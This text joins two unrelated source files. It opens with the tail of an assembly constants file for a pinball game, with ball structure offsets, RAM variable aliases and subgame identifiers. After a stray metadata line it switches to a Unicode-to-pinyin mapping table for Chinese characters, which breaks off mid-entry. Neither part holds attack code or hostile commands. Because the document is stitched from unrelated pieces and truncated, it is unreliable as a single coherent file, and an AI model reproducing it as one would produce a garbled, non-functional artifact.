(307-4)<<4 FLIPPERY3B2 EQU (352+6)<<4 FLIPPERCY23B2 EQU (FLIPPERYB2+FLIPPERY3B2)/2 KICKBACKVEL EQU -2<<5 LANEDELAY EQU 10 PANELSTART EQU 144-8 BALLFLG_USED EQU 7 BALLFLG_LAYER EQU 0 MAXBALLS EQU 3 ;ball structure BALL_FLAGS EQU 0 BALL_X EQU 1 BALL_VX EQU 3 BALL_Y EQU 5 BALL_VY EQU 7 BALL_THETA EQU 9 BALL_DTHETA EQU 10 BALL_BALLPAUSE EQU 11 BALLSIZE EQU 12 pin_flags EQUS "hTemp48+00" pin_ballflags EQUS "hTemp48+01" pin_x EQUS "hTemp48+02" ;2 bytes pin_vx EQUS "hTemp48+04" ;2 bytes pin_y EQUS "hTemp48+06" ;2 bytes pin_vy EQUS "hTemp48+08" ;2 bytes pin_theta EQUS "hTemp48+10" pin_dtheta EQUS "hTemp48+11" pin_ballpause EQUS "hTemp48+12" pin_lflipper EQUS "hTemp48+13" pin_rflipper EQUS "hTemp48+14" pin_lflipperdlt EQUS "hTemp48+15" pin_rflipperdlt EQUS "hTemp48+16" pin_grcount EQUS "hTemp48+17" pin_rtilt EQUS "hTemp48+18" pin_ltilt EQUS "hTemp48+19" pin_utilt EQUS "hTemp48+20" pin_xpush EQUS "hTemp48+21" pin_ypush EQUS "hTemp48+22" pin_spcount EQUS "hTemp48+23" pin_spinner EQUS "hTemp48+24" pin_dspinner EQUS "hTemp48+25" pin_flash EQUS "hTemp48+26" pin_board EQUS "hTemp48+27" pin_cos EQUS "hTemp48+28" pin_sin EQUS "hTemp48+29" pin_hittype EQUS "hTemp48+30" pin_xfliplo EQUS "hTemp48+31" pin_xfliphi EQUS "hTemp48+32" pin_yfliplo EQUS "hTemp48+33" pin_yfliphi EQUS "hTemp48+34" pin_textpal EQUS "hTemp48+35" pin_doperball EQUS "hTemp48+36" pin_flags2 EQUS "hTemp48+37" pin_chainwant EQUS "hTemp48+38" pin_firedelay EQUS "hTemp48+39" pin_difficulty EQUS "hTemp48+40" PINFLG_FIRST EQU 0 PINFLG_CLOSED EQU 1 PINFLG_RIGHT EQU 2 PINFLG_FLIPPED EQU 3 PINFLG_FORCEL EQU 4 PINFLG_SCORE EQU 5 PINFLG_RAMPDOWN EQU 6 PINFLG_EXIT EQU 7 PINFLG2_HARD EQU 0 PINFLG2_TV EQU 1 PINFLG2_QUIT EQU 2 ;XSTART EQU 170<<5 ;YSTART EQU 258<<5 XSTART EQU 38<<5 YSTART EQU 150<<5 YVEL EQU 0 ;2<<5 XVEL EQU 0 ;YVEL EQU -3<<5 YVEL2 EQU -3<<4 XSTART2 EQU (95<<5)+16 XSTART2a EQU (40<<5) XSTART2b EQU (159<<5)+31-XSTART2a ;(133<<5)+31 YSTART2 EQU 220<<5 CLOSEOFFX EQU 70<<5 LB2FLIPPERX EQU 128<<4 RB2FLIPPERX EQU 223<<4 B2CENTERX EQU (LB2FLIPPERX+RB2FLIPPERX)/2 B2FLIPPERY EQU 256<<4 any_time EQUS "wTemp1024+188" ;4 bytes any_count2 EQUS "wTemp1024+186" ;2 bytes any_clock EQUS "wTemp1024+182" ;4 bytes any_speed EQUS "wTemp1024+181" ;1 byte any_ballsaver EQUS "wTemp1024+180" ;1 byte any_table EQUS "wTemp1024+179" ;1 byte any_tofire EQUS "wTemp1024+178" ;1 byte any_tvtake EQUS "wTemp1024+175" ;3 bytes any_tvdelay EQUS "wTemp1024+174" ;1 byte any_selected EQUS "wTemp1024+173" ;1 byte any_maxsel EQUS "wTemp1024+172" ;1 byte any_combo3 EQUS "wTemp1024+171" ;1 any_combo2 EQUS "wTemp1024+170" ;1 any_combo1 EQUS "wTemp1024+169" ;1 any_comboclear EQUS "wTemp1024+168" ;1 any_bonusval EQUS "wTemp1024+163" ;5 any_bonusmul EQUS "wTemp1024+162" ;1 any_ballsleft EQUS "wTemp1024+161" ;1 any_tabletime EQUS "wTemp1024+160" ;1 any_loopcount EQUS "wTemp1024+159" ;1 any_nextextra EQUS "wTemp1024+158" ;1 any_inmulti EQUS "wTemp1024+157" ;1 any_rampfast EQUS "wTemp1024+156" ;1 any_bonusinfo1 EQUS "wTemp1024+155" ;1 any_bonusinfo2 EQUS "wTemp1024+154" ;1 any_extra EQUS "wTemp1024+153" ;1 any_extraball EQUS "wTemp1024+152" ;1 any_firing EQUS "wTemp1024+151" ;1 any_awardextra EQUS "wTemp1024+150" ;1 any_mlock1 EQUS "wTemp1024+149" ;1 any_mlock2 EQUS "wTemp1024+148" ;1 any_1234 EQUS "wTemp1024+147" ;1 any_spitout EQUS "wTemp1024+146" ;1 any_tvback EQUS "wTemp1024+145" ;1 any_wantswitch EQUS "wTemp1024+144" ;1 any_wantfire EQUS "wTemp1024+143" ;1 any_switchcount EQUS "wTemp1024+142" ;1 any_credit1 EQUS "wTemp1024+141" ;1 any_credit2 EQUS "wTemp1024+140" ;1 any_credit3 EQUS "wTemp1024+139" ;1 any_done EQUS "wTemp1024+138" ;1 any_tvshow EQUS "wTemp1024+134" ;4 any_tvsp EQUS "wTemp1024+133" ;1 any_tvhold EQUS "wTemp1024+132" ;1 any_multibase EQUS "wTemp1024+131" ;1 any_happyfire EQUS "wTemp1024+130" ;1 any_samplewant EQUS "wTemp1024+129" ;1 any_shutdown EQUS "wTemp1024+128" ;1 any_rumble EQUS "wTemp1024+127" ;1 any_skill EQUS "wTemp1024+126" ;1 any_skillcount EQUS "wTemp1024+125" ;1 any_gothappy EQUS "wTemp1024+124" ;1 any_lockedout EQUS "wTemp1024+123" ;1 any_spinbonus EQUS "wTemp1024+122" ;1 any_rumbleshift EQUS "wTemp1024+121" ;1 any_to25 EQUS "wTemp1024+120" ;1 any_quarter EQUS "wTemp1024+119" ;1 any_harder EQUS "wTemp1024+118" ;1 any_tv EQUS "wTemp1024+117" ;1 any_pearlball EQUS "wTemp1024+116" ;1 any_democlock EQUS "wTemp1024+114" ;2 any_printerok EQUS "wTemp1024+113" ;1 any_timedpnt EQUS "wTemp1024+512" ;1 byte any_messagecnt EQUS "wTemp1024+513" ;1 byte any_subshoot EQUS "wTemp1024+514" ;1 byte any_messagelist EQUS "wTemp1024+600" ;36 bytes ... any_timed EQUS "wTemp1024+256" ;256 bytes any_chances EQUS "wTemp1024+896" ;128 bytes MAXMESSAGES EQU 4 MESSAGETIME EQU 6 SWITCHHOLD EQU 120 ;# of ticks to hold score before switching players. RUMBLETIME EQU 30 ;# of ticks of rumble SKILLTIME EQU 60 ;# of ticks/4 from ball launch to getting skill shot COMBOCLEARTIME EQU 255 SHUTDOWNTIME EQu 180 SUBGAME_TABLE1 EQU 0 SUBGAME_CAVE EQU 1 SUBGAME_SCUTTLE EQU 2 SUBGAME_SHIP EQU 3 SUBGAME_FLOUNDER EQU 4 SUBGAME_FLOTSAM EQU 5 SUBGAME_KISS EQU 6 SUBGAME_URSULA EQU 7 SUBGAME_TREASURE EQU 8 SUBGAME_TABLE2 EQU 9 SUBGAME_ICECAVE EQU 10 SUBGAME_VOLCANO EQU 11 SUBGAME_TRIDENT EQU 12 SUBGAME_PRISON EQU 13 SUBGAME_DASH EQU 14 SUBGAME_MORGANA EQU 15 SUBGAME_BEAR EQU 16 SUBGAME_CLOAK EQU 17 NEED_CAVE EQU 15 NEED_SCUTTLE EQU 12 ;arbitrary NEED_SHIP EQU 12 ;arbitrary NEED_FLOUNDER EQU 9 ;arbitrary NEED_FLOTSAM EQU 20 ;arbitrary NEED_KISS EQU 6 NEED_URSULA EQU 7 NEED_TREASURE EQU 3 NEED_PRISON EQU 13 NEED_DASH EQU 10 ;arbitrary NEED_CLOAK EQU 20 ;arbitrary NEED_ICECAVE EQU 17 NEED_VOLCANO EQU 12 ;arbitrary NEED_TRIDENT EQU 6 NEED_MORGANA EQU 7 NEED_BEAR EQU 4 TIME_CAVE EQU 60 TIME_SCUTTLE EQU 60 TIME_SHIP EQU 60 TIME_FLOUNDER EQU 60 TIME_FLOTSAM EQU 60 TIME_KISS EQU 60 TIME_URSULA EQU 60 TIME_TREASURE EQU 60 TIME_PRISON EQU 60 TIME_DASH EQU 60 TIME_CLOAK EQU 60 TIME_ICECAVE EQU 60 TIME_VOLCANO EQU 60 TIME_TRIDENT EQU 60 TIME_MORGANA EQU 60 TIME_BEAR EQU 60 ;******************************************************************** ;******************************************************************** ;bMenus settings OPT_NUMPLAYERS EQU 0 OPT_NUMBALLS EQU 1 OPT_TABLE EQU 2 OPT_PRACTICEGAME EQU 3 OPT_PRACTICESPEED EQU 4 OPT_SPEEDS EQU 5 OPT_OPTIONS EQU 9 ARROWMAX EQU 4
{ "pile_set_name": "Github" }
U+4E00: yī # 一 U+4E01: dīng # 丁 U+4E03: qī # 七 U+4E07: wàn # 万 U+4E08: zhàng # 丈 U+4E09: sān # 三 U+4E0A: shàng,shang # 上 U+4E0B: xià,xia # 下 U+4E0D: bù,bu # 不 U+4E0E: yǔ,yù # 与 U+4E11: chǒu # 丑 U+4E13: zhuān # 专 U+4E14: qiě # 且 U+4E16: shì # 世 U+4E18: qiū # 丘 U+4E19: bǐng # 丙 U+4E1A: yè # 业 U+4E1B: cóng # 丛 U+4E1C: dōng # 东 U+4E1D: sī # 丝 U+4E1F: diū # 丟 U+4E22: diū # 丢 U+4E24: liǎng # 两 U+4E25: yán # 严 U+4E27: sàng # 丧 U+4E2A: gè,ge,gě # 个 U+4E2B: yā # 丫 U+4E2D: zhōng,zhòng # 中 U+4E30: fēng # 丰 U+4E32: chuàn # 串 U+4E34: lín # 临 U+4E38: wán # 丸 U+4E39: dān,dan # 丹 U+4E3A: wèi,wéi # 为 U+4E3B: zhǔ # 主 U+4E3D: lì # 丽 U+4E3E: jǔ,ju # 举 U+4E43: nǎi # 乃 U+4E45: jiǔ # 久 U+4E48: me # 么 U+4E49: yì # 义 U+4E4B: zhī # 之 U+4E4C: wū # 乌 U+4E4E: hu,hū # 乎 U+4E4F: fá # 乏 U+4E50: lè,yuè # 乐 U+4E52: pīng # 乒 U+4E53: pāng # 乓 U+4E56: guāi # 乖 U+4E58: chéng # 乘 U+4E59: yǐ # 乙 U+4E5D: jiǔ # 九 U+4E5F: yě # 也 U+4E60: xí # 习 U+4E61: xiāng # 乡 U+4E66: shū # 书 U+4E70: mǎi # 买 U+4E71: luàn # 乱 U+4E73: rǔ # 乳 U+4E82: luàn # 亂 U+4E86: le,liǎo,liào # 了 U+4E88: yǔ # 予 U+4E89: zhēng # 争 U+4E8B: shì,shi # 事 U+4E8C: èr # 二 U+4E8E: yú # 于 U+4E8F: kuī # 亏 U+4E91: yún # 云 U+4E92: hù # 互 U+4E94: wǔ # 五 U+4E95: jǐng # 井 U+4E9A: yà # 亚 U+4E9B: xiē # 些 U+4E9E: yà # 亞 U+4EA1: wáng # 亡 U+4EA4: jiāo # 交 U+4EA6: yì # 亦 U+4EA7: chǎn # 产 U+4EA9: mǔ # 亩 U+4EAB: xiǎng # 享 U+4EAD: tíng # 亭 U+4EAE: liàng,liang # 亮 U+4EB2: qīn,qin # 亲 U+4EBA: rén,ren # 人 U+4EBF: yì # 亿 U+4EC0: shén,shen # 什 U+4EC5: jǐn # 仅 U+4EC7: chóu # 仇 U+4ECA: jīn # 今 U+4ECB: jiè # 介 U+4ECD: réng # 仍 U+4ECE: cóng,cōng # 从 U+4ED3: cāng # 仓 U+4ED4: zǐ # 仔 U+4ED6: tā # 他 U+4ED7: zhàng # 仗 U+4ED8: fù,fu # 付 U+4ED9: xian,xiān # 仙 U+4EE3: dài # 代 U+4EE4: lìng # 令 U+4EE5: yǐ # 以 U+4EEA: yí # 仪 U+4EEC: men # 们 U+4EF0: yǎng # 仰 U+4EF6: jiàn # 件 U+4EF7: jià # 价 U+4EFB: rèn # 任 U+4EFD: fèn,fen # 份 U+4EFF: fǎng # 仿 U+4F01: qǐ # 企 U+4F0A: yī # 伊 U+4F0D: wu # 伍 U+4F0F: fú # 伏 U+4F10: fá # 伐 U+4F11: xiū # 休 U+4F17: zhòng # 众 U+4F18: yōu # 优 U+4F19: huǒ,huo # 伙 U+4F1A: huì,kuài # 会 U+4F1E: sǎn # 伞 U+4F1F: wěi # 伟 U+4F20: chuán,zhuàn # 传 U+4F24: shāng # 伤 U+4F2A: wěi # 伪 U+4F2F: bó,bo # 伯 U+4F30: gū # 估 U+4F34: bàn # 伴 U+4F36: ling # 伶 U+4F38: shēn # 伸 U+4F3A: cì # 伺 U+4F3C: shì,sì # 似 U+4F43: diàn # 佃 U+4F46: dàn # 但 U+4F4D: wèi # 位 U+4F4E: dī # 低 U+4F4F: zhù # 住 U+4F51: yòu # 佑 U+4F53: tǐ # 体 U+4F55: hé # 何 U+4F59: yú # 余 U+4F5B: fú # 佛 U+4F5C: zuò # 作 U+4F60: nǐ # 你 U+4F69: pèi # 佩 U+4F73: jiā # 佳 U+4F7F: shǐ # 使 U+4F86: lái # 來 U+4F8B: lì # 例 U+4F8D: shì # 侍 U+4F9B: gōng,gòng # 供 U+4F9D: yī # 依 U+4FA6: zhēn # 侦 U+4FA7: cè # 侧 U+4FAE: wǔ # 侮 U+4FB5: qīn # 侵 U+4FBF: biàn,pián # 便 U+4FC3: cù # 促 U+4FC4: é # 俄 U+4FD7: sú # 俗 U+4FD8: fú # 俘 U+4FDD: bǎo # 保 U+4FE1: xìn # 信 U+4FE9: liǎ # 俩 U+4FED: jiǎn # 俭 U+4FEE: xiū # 修 U+4FEF: fǔ # 俯 U+4FF1: jù # 俱 U+4FFA: ǎn # 俺 U+5006: liǎ # 倆 U+5009: cāng # 倉 U+500B: gè,ge,gě # 個 U+500D: bèi # 倍 U+5011: men # 們 U+5012: dào,dǎo # 倒 U+5018: tǎng # 倘 U+5019: hou,hòu # 候 U+501A: yǐ # 倚 U+501F: jiè # 借 U+5021: chàng # 倡 U+5026: juàn # 倦 U+503A: zhài # 债 U+503C: zhí # 值 U+503E: qīng # 倾 U+5047: jiǎ,jià # 假 U+5049: wěi # 偉 U+504E: wēi # 偎 U+504F: piān # 偏 U+505A: zuò # 做 U+505C: tíng # 停 U+5065: jiàn # 健 U+5074: cè # 側 U+5075: zhēn # 偵 U+5076: ǒu # 偶 U+5077: tōu # 偷 U+507D: wěi # 偽 U+507F: cháng # 偿 U+5085: fu # 傅 U+508D: bàng # 傍 U+5098: sǎn # 傘 U+5099: bèi # 備 U+50A8: chǔ # 储 U+50AC: cuī # 催 U+50B2: ào # 傲 U+50B3: chuán,zhuàn # 傳 U+50B5: zhài # 債 U+50B7: shāng # 傷 U+50BB: shǎ # 傻 U+50BE: qīng # 傾 U+50C5: jǐn # 僅 U+50CF: xiàng # 像 U+50DA: liáo # 僚 U+50F1: gù # 僱 U+50F5: jiāng # 僵 U+50F9: jià # 價 U+5100: yí # 儀 U+5104: yì # 億 U+5109: jiǎn # 儉 U+511F: cháng # 償 U+512A: yōu # 優 U+5132: chǔ # 儲 U+513F: r,ér # 儿 U+5141: yǔn # 允 U+5143: yuán # 元 U+5144: xiōng,xiong # 兄 U+5145: chōng # 充 U+5148: xiān # 先 U+5149: guāng # 光 U+514B: kè # 克 U+514D: miǎn # 免 U+5152: r,ér # 兒 U+5154: tù # 兔 U+515A: dǎng # 党 U+515C: dōu # 兜 U+5165: rù # 入 U+5167: nèi # 內 U+5168: quán # 全 U+5169: liǎng # 兩 U+516B: bā # 八 U+516C: gōng # 公 U+516D: liù # 六 U+5171: gòng # 共 U+5173: guān # 关 U+5174: xìng,xīng # 兴 U+5175: bīng # 兵 U+5176: qí # 其 U+5177: jù,ju # 具 U+5178: diǎn # 典 U+517B: yǎng # 养 U+517C: jiān # 兼 U+517D: shòu # 兽 U+5185: nèi # 内 U+5188: gāng # 冈 U+518A: cè # 冊 U+518C: cè # 册 U+518D: zài # 再 U+5192: mào # 冒 U+5199: xiě # 写 U+519B: jūn # 军 U+519C: nóng # 农 U+51A4: yuān # 冤 U+51AC: dōng # 冬 U+51B0: bīng # 冰 U+51B2: chōng,chòng # 冲 U+51B3: jué # 决 U+51B5: kuàng # 况 U+51B6: yě # 冶 U+51B7: lěng # 冷 U+51BB: dòng # 冻 U+51C0: jìng # 净 U+51C4: qī # 凄 U+51C6: zhǔn # 准 U+51C9: liáng # 凉 U+51CD: dòng # 凍 U+51CF: jiǎn # 减 U+51D1: còu # 凑 U+51DD: níng # 凝 U+51E0: jǐ,jī # 几 U+51E1: fán # 凡 U+51E4: fèng # 凤 U+51EB: fú # 凫 U+51ED: píng # 凭 U+51F0: huáng # 凰 U+51F3: dèng # 凳 U+51F6: xiōng # 凶 U+51F8: tū # 凸 U+51F9: āo # 凹 U+51FA: chū # 出 U+51FB: jī # 击 U+51FF: záo # 凿 U+5200: dāo # 刀 U+5206: fēn,fèn,fen # 分 U+5207: qiè,qiē # 切 U+520A: kān # 刊 U+5211: xíng # 刑 U+5212: huà,huá # 划 U+5217: liè # 列 U+5219: zé # 则 U+521A: gāng # 刚 U+521B: chuàng,chuāng # 创 U+521D: chū # 初 U+5224: pàn # 判 U+5225: bié,biè # 別 U+5228: páo # 刨 U+5229: lì,li # 利 U+522B: bié,biè # 别 U+522E: guā # 刮 U+5230: dào,dao # 到 U+5236: zhì # 制 U+5237: shuā # 刷 U+5239: shā,chà # 刹 U+523A: cì # 刺 U+523B: kè # 刻 U+5242: jì # 剂 U+5247: zé # 則 U+524A: xuē,xiāo # 削 U+524D: qián # 前 U+524E: shā,chà # 剎 U+5251: jiàn # 剑 U+5254: tī # 剔 U+5256: pōu # 剖 U+525B: gāng # 剛 U+525D: bō # 剝 U+5265: bō # 剥 U+5267: jù # 剧 U+5269: shèng # 剩 U+526A: jiǎn # 剪 U+526F: fù # 副 U+5272: gē # 割 U+5275: chuàng,chuāng # 創 U+527F: jiǎo # 剿 U+5287: jù # 劇 U+5288: pī # 劈 U+528D: jiàn # 劍 U+5291: jì # 劑 U+529B: lì,li # 力 U+529D: quàn # 劝 U+529E: bàn # 办 U+529F: gōng # 功 U+52A0: jiā # 加 U+52A1: wu,wù # 务 U+52A3: liè # 劣 U+52A8: dòng # 动 U+52A9: zhù # 助 U+52AA: nǔ # 努 U+52B1: lì # 励 U+52B2: jìn # 劲 U+52B3: láo # 劳 U+52BF: shì,shi # 势 U+52C1: jìn # 勁 U+52C3: bó # 勃 U+52C7: yǒng # 勇 U+52C9: miǎn # 勉 U+52D2: lēi # 勒 U+52D5: dòng # 動 U+52D8: kān # 勘 U+52D9: wu,wù # 務 U+52DD: shèng # 勝 U+52DE: láo # 勞 U+52E2: shì,shi # 勢 U+52E4: qín # 勤 U+52F5: lì # 勵 U+52F8: quàn # 勸 U+52FB: yún # 勻 U+52FE: gōu # 勾 U+5300: yún # 匀 U+5305: bāo # 包 U+5306: cōng # 匆 U+5316: huà # 化 U+5317: běi # 北 U+5319: shi # 匙 U+5320: jiang,jiàng # 匠 U+532A: fěi # 匪 U+532F: huì # 匯 U+5339: pǐ # 匹 U+533A: qū # 区 U+533B: yī # 医 U+533E: biǎn # 匾 U+5340: qū # 區 U+5341: shí # 十 U+5343: qiān # 千 U+5347: shēng # 升 U+5348: wǔ,wu # 午 U+534A: bàn # 半 U+534E: huá # 华 U+534F: xié # 协 U+5351: bēi # 卑 U+5354: xié # 協 U+5355: dān # 单 U+5356: mài,mai # 卖 U+5357: nán # 南 U+535A: bó # 博 U+535C: bo # 卜 U+5360: zhàn # 占 U+5361: kǎ # 卡 U+5367: wò # 卧 U+536B: wèi # 卫 U+5370: yìn # 印 U+5371: wēi # 危 U+5373: jí # 即 U+5374: què # 却 U+5375: luǎn # 卵 U+5377: juǎn,juàn # 卷 U+5378: xiè # 卸 U+537B: què # 卻 U+5382: chǎng # 厂 U+5385: tīng # 厅 U+5386: lì # 历 U+5389: lì # 厉 U+538B: yā # 压 U+538C: yàn # 厌 U+5395: cè # 厕 U+5398: lí # 厘 U+539A: hòu # 厚 U+539F: yuán # 原 U+53A2: xiāng # 厢 U+53A6: shà # 厦 U+53A8: chú # 厨 U+53AD: yàn # 厭 U+53B2: lì # 厲 U+53BB: qù # 去 U+53BF: xiàn # 县 U+53C2: cān,shēn # 参 U+53C3: cān,shēn # 參 U+53C8: yòu # 又 U+53CA: jí # 及 U+53CB: you,yǒu # 友 U+53CC: shuāng # 双 U+53CD: fǎn # 反 U+53D1: fā,fa,fà # 发 U+53D4: shū,shu # 叔 U+53D6: qǔ # 取 U+53D7: shòu # 受 U+53D8: biàn # 变 U+53D9: xù # 叙 U+53DB: pàn # 叛 U+53E0: dié # 叠 U+53E2: cóng # 叢 U+53E3: kǒu,kou # 口 U+53E4: gǔ # 古 U+53E5: jù # 句 U+53E6: lìng # 另 U+53EA: zhǐ,zhī # 只 U+53EB: jiào # 叫 U+53EC: zhào # 召 U+53ED: ba # 叭 U+53EE: dīng # 叮 U+53EF: kě # 可 U+53F0: tái # 台 U+53F2: shǐ # 史 U+53F3: yòu # 右 U+53F6: yè # 叶 U+53F7: hào,hao,háo # 号 U+53F8: sī # 司 U+53F9: tàn # 叹 U+53FC: diāo # 叼 U+5401: xū,yù # 吁 U+5403: chī # 吃 U+5404: gè # 各 U+5406: yāo # 吆 U+5408: hé # 合 U+5409: jí # 吉 U+540A: diào # 吊 U+540C: tóng,tong,tòng # 同 U+540D: míng # 名 U+540E: hòu # 后 U+5410: tǔ,tù # 吐 U+5411: xiàng # 向 U+5413: xià # 吓 U+5417: ma,má # 吗 U+541B: jūn # 君 U+541E: tūn # 吞 U+541F: yín # 吟 U+5426: fǒu # 否 U+5427: ba # 吧 U+5428: dūn # 吨 U+5429: fēn # 吩 U+542B: hán # 含 U+542C: tīng,ting # 听 U+542D: kēng # 吭 U+542F: qǐ # 启 U+5435: chǎo # 吵 U+5436: ne,nà # 吶 U+5438: xī # 吸 U+5439: chuī # 吹 U+543B: wěn # 吻 U+543C: hǒu # 吼 U+5440: ya,yā # 呀 U+5443: è # 呃 U+5446: dāi # 呆 U+5448: chéng # 呈 U+544A: gào # 告 U+5450: ne,nà # 呐 U+5457: bei # 呗 U+5458: yuán # 员 U+545C: wū # 呜 U+5462: ne,ní # 呢 U+5468: zhōu # 周 U+5473: wèi # 味 U+5475: ā,hē # 呵 U+5478: pēi # 呸 U+547B: shēn # 呻 U+547C: hū,hu # 呼 U+547D: mìng # 命 U+5480: jǔ # 咀 U+5482: zā # 咂 U+5486: páo # 咆 U+548B: zǎ # 咋 U+548C: hé,huo,he,hè # 和 U+5490: fu # 咐 U+5492: zhòu # 咒 U+5495: gu # 咕 U+5496: kā # 咖 U+5499: lóng # 咙 U+549B: níng # 咛 U+54A6: yí # 咦 U+54A7: lie # 咧 U+54AC: yǎo # 咬 U+54B1: zán,zan # 咱 U+54B3: hāi,ké # 咳 U+54B8: xián # 咸 U+54BD: yàn,yè,yān # 咽 U+54C0: āi # 哀 U+54C1: pǐn # 品 U+54C4: hōng,hǒng # 哄 U+54C6: duō # 哆 U+54C7: wa,wā # 哇 U+54C8: hā # 哈 U+54CD: xiǎng # 响 U+54CE: āi # 哎 U+54CF: gén # 哏 U+54D1: yǎ # 哑 U+54D7: huā # 哗 U+54DF: yō,yo # 哟 U+54E1: yuán # 員 U+54E5: gē,ge # 哥 U+54E6: ó,ò,é # 哦 U+54E7: chī # 哧 U+54E8: shào # 哨 U+54E9: li # 哩 U+54EA: nǎ,na # 哪 U+54ED: kū # 哭 U+54EE: xiāo # 哮 U+54F2: zhé # 哲 U+54FA: bǔ # 哺 U+54FC: hēng # 哼 U+54FD: gěng # 哽 U+5504: bei # 唄 U+5507: chún # 唇 U+5524: huàn,huan # 唤 U+552C: hu # 唬 U+552E: shòu # 售 U+552F: wéi # 唯 U+5530: shuā # 唰 U+5531: chàng # 唱 U+553E: tuò # 唾 U+5543: kěn # 啃 U+5544: zhuó # 啄 U+5546: shāng # 商 U+554A: a,ā # 啊 U+554F: wèn,wen # 問 U+555E: yǎ # 啞 U+555F: qǐ # 啟 U+5561: fēi # 啡 U+5564: pí # 啤 U+5565: shà # 啥 U+5566: la,lā # 啦 U+556A: pā # 啪 U+5578: xiào # 啸 U+557C: tí # 啼 U+557E: jiū # 啾 U+5582: wèi # 喂 U+5583: nán # 喃 U+5584: shàn # 善 U+5587: lǎ # 喇 U+5589: hóu # 喉 U+558A: hǎn # 喊 U+5594: ō # 喔 U+5598: chuǎn # 喘 U+559A: huàn,huan # 喚 U+559C: xǐ # 喜 U+559D: hē,he,hè # 喝 U+55AA: sàng # 喪 U+55AE: dān # 單 U+55B2: yō,yo # 喲 U+55B7: pēn # 喷 U+55BD: lou # 喽 U+55C5: xiù # 嗅 U+55CE: ma,má # 嗎 U+55D0: hài # 嗐 U+55D3: sǎng # 嗓 U+55DA: wū # 嗚 U+55E1: wēng # 嗡 U+55E6: suo # 嗦 U+55E8: hāi # 嗨 U+55EC: hē # 嗬 U+55EF: ń,ň,ǹ,ńg,ňg,ǹg # 嗯 U+55FD: sou # 嗽 U+5600: dí # 嘀 U+5606: tàn # 嘆 U+5608: cáo # 嘈 U+560D: lou # 嘍 U+5617: cháng # 嘗 U+5618: xū # 嘘 U+561B: ma,má # 嘛 U+5629: huā # 嘩 U+562F: xiào # 嘯 U+5631: zhǔ # 嘱 U+5632: cháo # 嘲 U+5634: zuǐ # 嘴 U+5636: sī # 嘶 U+563B: xī # 嘻 U+563F: hēi # 嘿 U+5653: xū # 噓 U+5662: ō # 噢 U+5668: qì # 器 U+566A: zào # 噪 U+5674: pēn # 噴 U+5678: dūn # 噸 U+5680: níng # 嚀 U+5687: xià # 嚇 U+56A8: lóng # 嚨 U+56B4: yán # 嚴 U+56B7: rǎng # 嚷 U+56BC: jué # 嚼 U+56D1: zhǔ # 囑 U+56DB: sì # 四 U+56DE: huí # 回 U+56E0: yīn # 因 U+56E2: tuán # 团 U+56EA: cōng # 囪 U+56ED: yuán # 园 U+56F0: kùn # 困 U+56F1: cōng # 囱 U+56F4: wéi # 围 U+56FA: gù # 固 U+56FD: guó # 国 U+56FE: tú # 图 U+5706: yuán # 圆 U+5708: quān,juàn # 圈 U+570B: guó # 國 U+570D: wéi # 圍 U+5712: yuán # 園 U+5713: yuán # 圓 U+5716: tú # 圖 U+5718: tuán # 團 U+571F: tǔ # 土 U+5723: shèng # 圣 U+5728: zài # 在 U+5730: de,dì # 地 U+573A: chǎng,cháng # 场 U+573E: jī # 圾 U+5740: zhǐ # 址 U+5747: jūn # 均 U+574A: fang # 坊 U+574E: kǎn # 坎 U+574F: huài # 坏 U+5750: zuò # 坐 U+5751: kēng # 坑 U+5757: kuài # 块 U+575A: jiān # 坚 U+575D: bà # 坝 U+575F: fén # 坟 U+5760: zhuì # 坠 U+5761: pō # 坡 U+5766: tǎn # 坦 U+576F: pī # 坯 U+5782: chuí # 垂 U+5783: lā # 垃 U+5784: lǒng # 垄 U+578B: xíng # 型 U+5792: lěi # 垒 U+57A6: kěn # 垦 U+57AB: diàn # 垫 U+57AE: kuǎ # 垮 U+57C3: āi # 埃 U+57CB: mái,mán # 埋 U+57CE: chéng # 城 U+57DF: yù # 域 U+57E0: bù # 埠 U+57F7: zhí # 執 U+57F9: péi # 培 U+57FA: jī # 基 U+5802: táng,tang # 堂 U+5805: jiān # 堅 U+5806: duī # 堆 U+5821: bǎo # 堡 U+5824: dī # 堤 U+582A: kān # 堪 U+5830: yàn # 堰 U+5831: bào # 報 U+5834: chǎng,cháng # 場 U+5835: dǔ # 堵 U+584A: kuài # 塊 U+584C: tā # 塌 U+5851: sù # 塑 U+5854: tǎ # 塔 U+5858: táng # 塘 U+585E: sāi,sè # 塞 U+586B: tián # 填 U+5875: chén # 塵 U+5883: jìng # 境 U+588A: diàn # 墊 U+5893: mù # 墓 U+5899: qiáng # 墙 U+589C: zhuì # 墜 U+589E: zēng # 增 U+58A8: mò # 墨 U+58A9: dūn # 墩 U+58B3: fén # 墳 U+58BE: kěn # 墾 U+58C1: bì # 壁 U+58D3: yā # 壓 U+58D5: háo # 壕 U+58D8: lěi # 壘 U+58DE: huài # 壞 U+58DF: lǒng # 壟 U+58E4: rǎng # 壤 U+58E9: bà # 壩 U+58EB: shì,shi # 士 U+58EE: zhuàng # 壮 U+58EF: zhuàng # 壯 U+58F0: shēng,sheng # 声 U+58F3: ké,qiào # 壳 U+58F6: hú # 壶 U+58FA: hú # 壺 U+58FD: shòu # 壽 U+5904: chù,chǔ,chu # 处 U+5907: bèi # 备 U+590D: fù # 复 U+590F: xià # 夏 U+5915: xī # 夕 U+5916: wài # 外 U+591A: duō # 多 U+591C: yè # 夜 U+591F: gòu # 够 U+5920: gòu # 夠 U+5922: mèng # 夢 U+5927: dà,dài # 大 U+5929: tiān,tian # 天 U+592A: tài,tai # 太 U+592B: fu,fū # 夫 U+592E: yāng # 央 U+5931: shī # 失 U+5934: tóu,tou # 头 U+5938: kuā # 夸 U+5939: jiā,jiá # 夹 U+593A: duó # 夺 U+593E: jiā,jiá # 夾 U+5947: qí # 奇 U+5948: nài # 奈 U+5949: fèng # 奉 U+594B: fèn # 奋 U+594F: zòu # 奏 U+5954: bēn,bèn # 奔 U+5956: jiǎng # 奖 U+5957: tào # 套 U+5960: diàn # 奠 U+596A: duó # 奪 U+596E: fèn # 奮 U+5973: nǚ,nü # 女 U+5974: nú # 奴 U+5976: nǎi,nai # 奶 U+5978: jiān # 奸 U+5979: tā # 她 U+597D: hǎo,hāo,hào # 好 U+5982: rú # 如 U+5984: wàng # 妄 U+5987: fù,fu # 妇 U+5988: mā,ma # 妈 U+5999: miào # 妙 U+59A5: tuǒ # 妥 U+59A8: fáng,fāng # 妨 U+59B9: mèi,mei # 妹 U+59BB: qī # 妻 U+59C6: mǔ # 姆 U+59CA: zǐ # 姊 U+59CB: shǐ # 始 U+59D0: jie,jiě # 姐 U+59D1: 